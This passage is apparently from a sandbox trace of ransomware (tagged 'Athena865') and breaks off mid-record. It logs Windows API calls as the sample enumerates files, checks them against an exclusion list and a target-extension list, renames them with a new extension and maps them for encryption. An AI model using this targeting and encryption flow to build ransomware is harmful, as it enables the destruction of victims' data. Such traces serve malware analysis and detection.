lpString2="ns4") returned -1 [0097.970] lstrlenW (lpString="nsf") returned 3 [0097.970] lstrcmpiW (lpString1="ico", lpString2="nsf") returned -1 [0097.970] lstrlenW (lpString="nv") returned 2 [0097.970] lstrcmpiW (lpString1="co", lpString2="nv") returned -1 [0097.970] lstrlenW (lpString="nv2") returned 3 [0097.970] lstrcmpiW (lpString1="ico", lpString2="nv2") returned -1 [0097.971] lstrlenW (lpString="nwdb") returned 4 [0097.971] lstrcmpiW (lpString1=".ico", lpString2="nwdb") returned -1 [0097.971] lstrlenW (lpString="nyf") returned 3 [0097.971] lstrcmpiW (lpString1="ico", lpString2="nyf") returned -1 [0097.971] lstrlenW (lpString="odb") returned 3 [0097.971] lstrcmpiW (lpString1="ico", lpString2="odb") returned -1 [0097.971] lstrlenW (lpString="odb") returned 3 [0097.971] lstrcmpiW (lpString1="ico", lpString2="odb") returned -1 [0097.971] lstrlenW (lpString="oqy") returned 3 [0097.971] lstrcmpiW (lpString1="ico", lpString2="oqy") returned -1 [0097.971] lstrlenW (lpString="ora") returned 3 [0097.971] lstrcmpiW (lpString1="ico", lpString2="ora") returned -1 [0097.971] lstrlenW (lpString="orx") returned 3 [0097.971] lstrcmpiW (lpString1="ico", lpString2="orx") returned -1 [0097.971] lstrlenW (lpString="owc") returned 3 [0097.971] lstrcmpiW (lpString1="ico", lpString2="owc") returned -1 [0097.971] lstrlenW (lpString="p96") returned 3 [0097.971] lstrcmpiW (lpString1="ico", lpString2="p96") returned -1 [0097.971] lstrlenW (lpString="p97") returned 3 [0097.971] lstrcmpiW (lpString1="ico", lpString2="p97") returned -1 [0097.971] lstrlenW (lpString="pan") returned 3 [0097.971] lstrcmpiW (lpString1="ico", lpString2="pan") returned -1 [0097.971] lstrlenW (lpString="pdb") returned 3 [0097.971] lstrcmpiW (lpString1="ico", lpString2="pdb") returned -1 [0097.971] lstrlenW (lpString="pdm") returned 3 [0097.971] lstrcmpiW (lpString1="ico", lpString2="pdm") returned -1 [0097.971] lstrlenW (lpString="pnz") returned 3 [0097.971] lstrcmpiW (lpString1="ico", lpString2="pnz") returned -1 [0097.971] lstrlenW (lpString="qry") returned 3 [0097.971] lstrcmpiW (lpString1="ico", lpString2="qry") returned -1 [0097.971] lstrlenW (lpString="qvd") returned 3 [0097.971] lstrcmpiW (lpString1="ico", lpString2="qvd") returned -1 [0097.972] lstrlenW (lpString="rbf") returned 3 [0097.972] lstrcmpiW (lpString1="ico", lpString2="rbf") returned -1 [0097.972] lstrlenW (lpString="rctd") returned 4 [0097.972] lstrcmpiW (lpString1=".ico", lpString2="rctd") returned -1 [0097.972] lstrlenW (lpString="rod") returned 3 [0097.972] lstrcmpiW (lpString1="ico", lpString2="rod") returned -1 [0097.972] lstrlenW (lpString="rodx") returned 4 [0097.972] lstrcmpiW (lpString1=".ico", lpString2="rodx") returned -1 [0097.972] lstrlenW (lpString="rpd") returned 3 [0097.972] lstrcmpiW (lpString1="ico", lpString2="rpd") returned -1 [0097.972] lstrlenW (lpString="rsd") returned 3 [0097.972] lstrcmpiW (lpString1="ico", lpString2="rsd") returned -1 [0097.972] lstrlenW (lpString="sas7bdat") returned 8 [0097.972] lstrcmpiW (lpString1="ints.ico", lpString2="sas7bdat") returned -1 [0097.972] lstrlenW (lpString="sbf") returned 3 [0097.972] lstrcmpiW (lpString1="ico", lpString2="sbf") returned -1 [0097.972] lstrlenW (lpString="scx") returned 3 [0097.972] lstrcmpiW (lpString1="ico", lpString2="scx") returned -1 [0097.972] lstrlenW (lpString="sdb") returned 3 [0097.972] lstrcmpiW (lpString1="ico", lpString2="sdb") returned -1 [0097.972] lstrlenW (lpString="sdc") returned 3 [0097.972] lstrcmpiW (lpString1="ico", lpString2="sdc") returned -1 [0097.972] lstrlenW (lpString="sdf") returned 3 [0097.972] lstrcmpiW (lpString1="ico", lpString2="sdf") returned -1 [0097.972] lstrlenW (lpString="sis") returned 3 [0097.972] lstrcmpiW (lpString1="ico", lpString2="sis") returned -1 [0097.972] lstrlenW (lpString="spq") returned 3 [0097.972] lstrcmpiW (lpString1="ico", lpString2="spq") returned -1 [0097.972] lstrlenW (lpString="te") returned 2 [0097.972] lstrcmpiW (lpString1="co", lpString2="te") returned -1 [0097.972] lstrlenW (lpString="teacher") returned 7 [0097.972] lstrcmpiW (lpString1="nts.ico", lpString2="teacher") returned -1 [0097.973] lstrlenW (lpString="tmd") returned 3 [0097.973] lstrcmpiW (lpString1="ico", lpString2="tmd") returned -1 [0097.973] lstrlenW (lpString="tps") returned 3 [0097.973] lstrcmpiW (lpString1="ico", lpString2="tps") returned -1 [0097.973] lstrlenW (lpString="trc") returned 3 [0097.973] lstrcmpiW (lpString1="ico", lpString2="trc") returned -1 [0097.973] lstrlenW (lpString="trc") returned 3 [0097.973] lstrcmpiW (lpString1="ico", lpString2="trc") returned -1 [0097.973] lstrlenW (lpString="trm") returned 3 [0097.973] lstrcmpiW (lpString1="ico", lpString2="trm") returned -1 [0097.973] lstrlenW (lpString="udb") returned 3 [0097.973] lstrcmpiW (lpString1="ico", lpString2="udb") returned -1 [0097.973] lstrlenW (lpString="udl") returned 3 [0097.973] lstrcmpiW (lpString1="ico", lpString2="udl") returned -1 [0097.973] lstrlenW (lpString="usr") returned 3 [0097.973] lstrcmpiW (lpString1="ico", lpString2="usr") returned -1 [0097.973] lstrlenW (lpString="v12") returned 3 [0097.973] lstrcmpiW (lpString1="ico", lpString2="v12") returned -1 [0097.973] lstrlenW (lpString="vis") returned 3 [0097.973] lstrcmpiW (lpString1="ico", lpString2="vis") returned -1 [0097.973] lstrlenW (lpString="vpd") returned 3 [0097.973] lstrcmpiW (lpString1="ico", lpString2="vpd") returned -1 [0097.973] lstrlenW (lpString="vvv") returned 3 [0097.973] lstrcmpiW (lpString1="ico", lpString2="vvv") returned -1 [0097.973] lstrlenW (lpString="wdb") returned 3 [0097.973] lstrcmpiW (lpString1="ico", lpString2="wdb") returned -1 [0097.973] lstrlenW (lpString="wmdb") returned 4 [0097.973] lstrcmpiW (lpString1=".ico", lpString2="wmdb") returned -1 [0097.973] lstrlenW (lpString="wrk") returned 3 [0097.973] lstrcmpiW (lpString1="ico", lpString2="wrk") returned -1 [0097.973] lstrlenW (lpString="xdb") returned 3 [0097.973] lstrcmpiW (lpString1="ico", lpString2="xdb") returned -1 [0097.974] lstrlenW (lpString="xld") returned 3 [0097.974] lstrcmpiW (lpString1="ico", lpString2="xld") returned -1 [0097.974] lstrlenW (lpString="xmlff") returned 5 [0097.974] lstrcmpiW (lpString1="s.ico", lpString2="xmlff") returned -1 [0097.974] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft\\OFFICE\\MySharePoints.ico.Athena865") returned 59 [0097.974] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft\\OFFICE\\MySharePoints.ico" (normalized: "c:\\programdata\\microsoft\\office\\mysharepoints.ico"), lpNewFileName="C:\\ProgramData\\Microsoft\\OFFICE\\MySharePoints.ico.Athena865" (normalized: "c:\\programdata\\microsoft\\office\\mysharepoints.ico.athena865"), dwFlags=0x1) returned 1 [0097.976] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\MySharePoints.ico.Athena865" (normalized: "c:\\programdata\\microsoft\\office\\mysharepoints.ico.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0097.976] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=348974) returned 1 [0097.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0097.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539860 [0097.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519ff8 [0097.976] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a080) returned 1 [0097.977] CryptGenRandom (in: hProv=0x51a080, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0097.977] CryptReleaseContext (hProv=0x51a080, dwFlags=0x0) returned 1 [0097.977] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x55630, lpName=0x0) returned 0x154 [0097.979] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x55630) returned 0x2d50000 [0098.004] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a080) returned 1 [0098.005] CryptGenRandom (in: hProv=0x51a080, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0098.005] CryptReleaseContext (hProv=0x51a080, dwFlags=0x0) returned 1 [0098.005] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5398d8 [0098.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5398d8 | out: hHeap=0x4f0000) returned 1 [0098.005] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53edd0 [0098.005] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0098.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0098.005] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0098.005] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53edd0 [0098.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0098.006] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0098.006] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0098.006] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0098.009] CloseHandle (hObject=0x154) returned 1 [0098.009] CloseHandle (hObject=0x17c) returned 1 [0098.009] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539860 | out: hHeap=0x4f0000) returned 1 [0098.009] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519ff8 | out: hHeap=0x4f0000) returned 1 [0098.009] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0098.010] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc92d1d00, ftCreationTime.dwHighDateTime=0x1c627a2, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc92d1d00, ftLastWriteTime.dwHighDateTime=0x1c627a2, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MySite.ico", cAlternateFileName="")) returned 1 [0098.010] lstrcmpiW (lpString1="MySite.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.010] lstrcmpiW (lpString1="MySite.ico", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.010] lstrcmpiW (lpString1="MySite.ico", lpString2=".") returned 1 [0098.010] lstrcmpiW (lpString1="MySite.ico", lpString2="..") returned 1 [0098.010] lstrcmpiW (lpString1="MySite.ico", lpString2="windows") returned -1 [0098.010] lstrcmpiW (lpString1="MySite.ico", lpString2="bootmgr") returned 1 [0098.011] lstrcmpiW (lpString1="MySite.ico", lpString2="temp") returned -1 [0098.011] lstrcmpiW (lpString1="MySite.ico", lpString2="pagefile.sys") returned -1 [0098.011] lstrcmpiW (lpString1="MySite.ico", lpString2="boot") returned 1 [0098.011] lstrcmpiW (lpString1="MySite.ico", lpString2="ids.txt") returned 1 [0098.011] lstrcmpiW (lpString1="MySite.ico", lpString2="ntuser.dat") returned -1 [0098.011] lstrcmpiW (lpString1="MySite.ico", lpString2="perflogs") returned -1 [0098.011] lstrcmpiW (lpString1="MySite.ico", lpString2="MSBuild") returned 1 [0098.011] lstrlenW (lpString="MySite.ico") returned 10 [0098.011] lstrcpyW (in: lpString1=0x241e888, lpString2="MySite.ico" | out: lpString1="MySite.ico") returned="MySite.ico" [0098.011] lstrlenW (lpString="MySite.ico") returned 10 [0098.011] lstrlenW (lpString="Athena865") returned 9 [0098.011] lstrcmpiW (lpString1="ySite.ico", lpString2="Athena865") returned 1 [0098.011] lstrlenW (lpString=".dll") returned 4 [0098.011] lstrcmpiW (lpString1="MySite.ico", lpString2=".dll") returned 1 [0098.011] lstrlenW (lpString=".lnk") returned 4 [0098.011] lstrcmpiW (lpString1="MySite.ico", lpString2=".lnk") returned 1 [0098.011] lstrlenW (lpString=".ini") returned 4 [0098.011] lstrcmpiW (lpString1="MySite.ico", lpString2=".ini") returned 1 [0098.011] lstrlenW (lpString=".sys") returned 4 [0098.011] lstrcmpiW (lpString1="MySite.ico", lpString2=".sys") returned 1 [0098.011] lstrlenW (lpString="MySite.ico") returned 10 [0098.011] lstrlenW (lpString="bak") returned 3 [0098.011] lstrcmpiW (lpString1="ico", lpString2="bak") returned 1 [0098.011] lstrlenW (lpString="ba_") returned 3 [0098.011] lstrcmpiW (lpString1="ico", lpString2="ba_") returned 1 [0098.011] lstrlenW (lpString="dbb") returned 3 [0098.011] lstrcmpiW (lpString1="ico", lpString2="dbb") returned 1 [0098.011] lstrlenW (lpString="vmdk") returned 4 [0098.011] lstrcmpiW (lpString1=".ico", lpString2="vmdk") returned -1 [0098.011] lstrlenW (lpString="rar") returned 3 [0098.011] lstrcmpiW (lpString1="ico", lpString2="rar") returned -1 [0098.012] lstrlenW (lpString="zip") returned 3 [0098.012] lstrcmpiW (lpString1="ico", lpString2="zip") returned -1 [0098.012] lstrlenW (lpString="tgz") returned 3 [0098.012] lstrcmpiW (lpString1="ico", lpString2="tgz") returned -1 [0098.012] lstrlenW (lpString="vbox") returned 4 [0098.012] lstrcmpiW (lpString1=".ico", lpString2="vbox") returned -1 [0098.012] lstrlenW (lpString="vdi") returned 3 [0098.012] lstrcmpiW (lpString1="ico", lpString2="vdi") returned -1 [0098.012] lstrlenW (lpString="vhd") returned 3 [0098.012] lstrcmpiW (lpString1="ico", lpString2="vhd") returned -1 [0098.012] lstrlenW (lpString="vhdx") returned 4 [0098.012] lstrcmpiW (lpString1=".ico", lpString2="vhdx") returned -1 [0098.012] lstrlenW (lpString="avhd") returned 4 [0098.012] lstrcmpiW (lpString1=".ico", lpString2="avhd") returned -1 [0098.012] lstrlenW (lpString="db") returned 2 [0098.012] lstrcmpiW (lpString1="co", lpString2="db") returned -1 [0098.012] lstrlenW (lpString="db2") returned 3 [0098.012] lstrcmpiW (lpString1="ico", lpString2="db2") returned 1 [0098.012] lstrlenW (lpString="db3") returned 3 [0098.012] lstrcmpiW (lpString1="ico", lpString2="db3") returned 1 [0098.012] lstrlenW (lpString="dbf") returned 3 [0098.012] lstrcmpiW (lpString1="ico", lpString2="dbf") returned 1 [0098.012] lstrlenW (lpString="mdf") returned 3 [0098.012] lstrcmpiW (lpString1="ico", lpString2="mdf") returned -1 [0098.012] lstrlenW (lpString="mdb") returned 3 [0098.012] lstrcmpiW (lpString1="ico", lpString2="mdb") returned -1 [0098.012] lstrlenW (lpString="sql") returned 3 [0098.012] lstrcmpiW (lpString1="ico", lpString2="sql") returned -1 [0098.012] lstrlenW (lpString="sqlite") returned 6 [0098.012] lstrcmpiW (lpString1="te.ico", lpString2="sqlite") returned 1 [0098.012] lstrlenW (lpString="sqlite3") returned 7 [0098.012] lstrcmpiW (lpString1="ite.ico", lpString2="sqlite3") returned -1 [0098.013] lstrlenW (lpString="sqlitedb") returned 8 [0098.013] lstrcmpiW (lpString1="Site.ico", lpString2="sqlitedb") returned -1 [0098.013] lstrlenW (lpString="xml") returned 3 [0098.013] lstrcmpiW (lpString1="ico", lpString2="xml") returned -1 [0098.013] lstrlenW (lpString="$er") returned 3 [0098.013] lstrcmpiW (lpString1="ico", lpString2="$er") returned 1 [0098.013] lstrlenW (lpString="4dd") returned 3 [0098.013] lstrcmpiW (lpString1="ico", lpString2="4dd") returned 1 [0098.013] lstrlenW (lpString="4dl") returned 3 [0098.013] lstrcmpiW (lpString1="ico", lpString2="4dl") returned 1 [0098.013] lstrlenW (lpString="^^^") returned 3 [0098.013] lstrcmpiW (lpString1="ico", lpString2="^^^") returned 1 [0098.013] lstrlenW (lpString="abs") returned 3 [0098.013] lstrcmpiW (lpString1="ico", lpString2="abs") returned 1 [0098.013] lstrlenW (lpString="abx") returned 3 [0098.013] lstrcmpiW (lpString1="ico", lpString2="abx") returned 1 [0098.013] lstrlenW (lpString="accdb") returned 5 [0098.013] lstrcmpiW (lpString1="e.ico", lpString2="accdb") returned 1 [0098.013] lstrlenW (lpString="accdc") returned 5 [0098.013] lstrcmpiW (lpString1="e.ico", lpString2="accdc") returned 1 [0098.013] lstrlenW (lpString="accde") returned 5 [0098.013] lstrcmpiW (lpString1="e.ico", lpString2="accde") returned 1 [0098.013] lstrlenW (lpString="accdr") returned 5 [0098.013] lstrcmpiW (lpString1="e.ico", lpString2="accdr") returned 1 [0098.013] lstrlenW (lpString="accdt") returned 5 [0098.013] lstrcmpiW (lpString1="e.ico", lpString2="accdt") returned 1 [0098.013] lstrlenW (lpString="accdw") returned 5 [0098.013] lstrcmpiW (lpString1="e.ico", lpString2="accdw") returned 1 [0098.013] lstrlenW (lpString="accft") returned 5 [0098.013] lstrcmpiW (lpString1="e.ico", lpString2="accft") returned 1 [0098.013] lstrlenW (lpString="adb") returned 3 [0098.013] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1 [0098.014] lstrlenW (lpString="adb") returned 3 [0098.014] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1 [0098.014] lstrlenW (lpString="ade") returned 3 [0098.014] lstrcmpiW (lpString1="ico", lpString2="ade") returned 1 [0098.014] lstrlenW (lpString="adf") returned 3 [0098.014] lstrcmpiW (lpString1="ico", lpString2="adf") returned 1 [0098.014] lstrlenW (lpString="adn") returned 3 [0098.014] lstrcmpiW (lpString1="ico", lpString2="adn") returned 1 [0098.014] lstrlenW (lpString="adp") returned 3 [0098.014] lstrcmpiW (lpString1="ico", lpString2="adp") returned 1 [0098.014] lstrlenW (lpString="alf") returned 3 [0098.014] lstrcmpiW (lpString1="ico", lpString2="alf") returned 1 [0098.014] lstrlenW (lpString="ask") returned 3 [0098.014] lstrcmpiW (lpString1="ico", lpString2="ask") returned 1 [0098.014] lstrlenW (lpString="btr") returned 3 [0098.014] lstrcmpiW (lpString1="ico", lpString2="btr") returned 1 [0098.014] lstrlenW (lpString="cat") returned 3 [0098.014] lstrcmpiW (lpString1="ico", lpString2="cat") returned 1 [0098.014] lstrlenW (lpString="cdb") returned 3 [0098.014] lstrcmpiW (lpString1="ico", lpString2="cdb") returned 1 [0098.014] lstrlenW (lpString="ckp") returned 3 [0098.014] lstrcmpiW (lpString1="ico", lpString2="ckp") returned 1 [0098.014] lstrlenW (lpString="cma") returned 3 [0098.014] lstrcmpiW (lpString1="ico", lpString2="cma") returned 1 [0098.014] lstrlenW (lpString="cpd") returned 3 [0098.014] lstrcmpiW (lpString1="ico", lpString2="cpd") returned 1 [0098.014] lstrlenW (lpString="dacpac") returned 6 [0098.014] lstrcmpiW (lpString1="te.ico", lpString2="dacpac") returned 1 [0098.014] lstrlenW (lpString="dad") returned 3 [0098.014] lstrcmpiW (lpString1="ico", lpString2="dad") returned 1 [0098.014] lstrlenW (lpString="dadiagrams") returned 10 [0098.015] lstrlenW (lpString="daschema") returned 8 [0098.015] lstrcmpiW (lpString1="Site.ico", lpString2="daschema") returned 1 [0098.015] lstrlenW (lpString="db-journal") returned 10 [0098.015] lstrlenW (lpString="db-shm") returned 6 [0098.015] lstrcmpiW (lpString1="te.ico", lpString2="db-shm") returned 1 [0098.015] lstrlenW (lpString="db-wal") returned 6 [0098.015] lstrcmpiW (lpString1="te.ico", lpString2="db-wal") returned 1 [0098.015] lstrlenW (lpString="dbc") returned 3 [0098.015] lstrcmpiW (lpString1="ico", lpString2="dbc") returned 1 [0098.015] lstrlenW (lpString="dbs") returned 3 [0098.015] lstrcmpiW (lpString1="ico", lpString2="dbs") returned 1 [0098.015] lstrlenW (lpString="dbt") returned 3 [0098.015] lstrcmpiW (lpString1="ico", lpString2="dbt") returned 1 [0098.015] lstrlenW (lpString="dbv") returned 3 [0098.015] lstrcmpiW (lpString1="ico", lpString2="dbv") returned 1 [0098.015] lstrlenW (lpString="dbx") returned 3 [0098.015] lstrcmpiW (lpString1="ico", lpString2="dbx") returned 1 [0098.015] lstrlenW (lpString="dcb") returned 3 [0098.015] lstrcmpiW (lpString1="ico", lpString2="dcb") returned 1 [0098.015] lstrcmpiW (lpString1="ico", lpString2="dct") returned 1 [0098.015] lstrcmpiW (lpString1="ico", lpString2="dcx") returned 1 [0098.015] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft\\OFFICE\\MySite.ico.Athena865") returned 52 [0098.015] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft\\OFFICE\\MySite.ico" (normalized: "c:\\programdata\\microsoft\\office\\mysite.ico"), lpNewFileName="C:\\ProgramData\\Microsoft\\OFFICE\\MySite.ico.Athena865" (normalized: "c:\\programdata\\microsoft\\office\\mysite.ico.athena865"), dwFlags=0x1) returned 1 [0098.016] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\MySite.ico.Athena865" (normalized: "c:\\programdata\\microsoft\\office\\mysite.ico.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0098.016] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=25214) returned 1 [0098.017] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0098.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539860 [0098.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519ff8 [0098.021] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a080) returned 1 [0098.021] CryptGenRandom (in: hProv=0x51a080, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0098.022] CryptReleaseContext (hProv=0x51a080, dwFlags=0x0) returned 1 [0098.022] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6580, lpName=0x0) returned 0x154 [0098.024] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6580) returned 0x100000 [0098.027] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a080) returned 1 [0098.028] CryptGenRandom (in: hProv=0x51a080, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0098.028] CryptReleaseContext (hProv=0x51a080, dwFlags=0x0) returned 1 [0098.028] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5398d8 [0098.028] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5398d8 | out: hHeap=0x4f0000) returned 1 [0098.028] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53edd0 [0098.028] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0098.028] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0098.029] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0098.029] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53edd0 [0098.029] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0098.029] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0098.029] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0098.029] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0098.029] CloseHandle (hObject=0x154) returned 1 [0098.029] CloseHandle (hObject=0x17c) returned 1 [0098.029] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539860 | out: hHeap=0x4f0000) returned 1 [0098.029] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519ff8 | out: hHeap=0x4f0000) returned 1 [0098.029] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0098.030] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf2444900, ftCreationTime.dwHighDateTime=0x1c63848, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2444900, ftLastWriteTime.dwHighDateTime=0x1c63848, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SharePointPortalSite.ico", cAlternateFileName="SHAREP~1.ICO")) returned 1 [0098.030] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.030] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.030] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2=".") returned 1 [0098.030] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2="..") returned 1 [0098.030] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2="windows") returned -1 [0098.030] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2="bootmgr") returned 1 [0098.030] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2="temp") returned -1 [0098.030] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2="pagefile.sys") returned 1 [0098.030] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2="boot") returned 1 [0098.030] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2="ids.txt") returned 1 [0098.030] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2="ntuser.dat") returned 1 [0098.030] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2="perflogs") returned 1 [0098.030] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2="MSBuild") returned 1 [0098.030] lstrlenW (lpString="SharePointPortalSite.ico") returned 24 [0098.030] lstrcpyW (in: lpString1=0x241e888, lpString2="SharePointPortalSite.ico" | out: lpString1="SharePointPortalSite.ico") returned="SharePointPortalSite.ico" [0098.030] lstrlenW (lpString="SharePointPortalSite.ico") returned 24 [0098.030] lstrlenW (lpString="Athena865") returned 9 [0098.030] lstrcmpiW (lpString1="lSite.ico", lpString2="Athena865") returned 1 [0098.030] lstrlenW (lpString=".dll") returned 4 [0098.030] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2=".dll") returned 1 [0098.030] lstrlenW (lpString=".lnk") returned 4 [0098.030] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2=".lnk") returned 1 [0098.030] lstrlenW (lpString=".ini") returned 4 [0098.030] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2=".ini") returned 1 [0098.031] lstrlenW (lpString=".sys") returned 4 [0098.031] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2=".sys") returned 1 [0098.031] lstrlenW (lpString="SharePointPortalSite.ico") returned 24 [0098.031] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointPortalSite.ico.Athena865") returned 66 [0098.031] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointPortalSite.ico" (normalized: "c:\\programdata\\microsoft\\office\\sharepointportalsite.ico"), lpNewFileName="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointPortalSite.ico.Athena865" (normalized: "c:\\programdata\\microsoft\\office\\sharepointportalsite.ico.athena865"), dwFlags=0x1) returned 1 [0098.032] CreateFileW 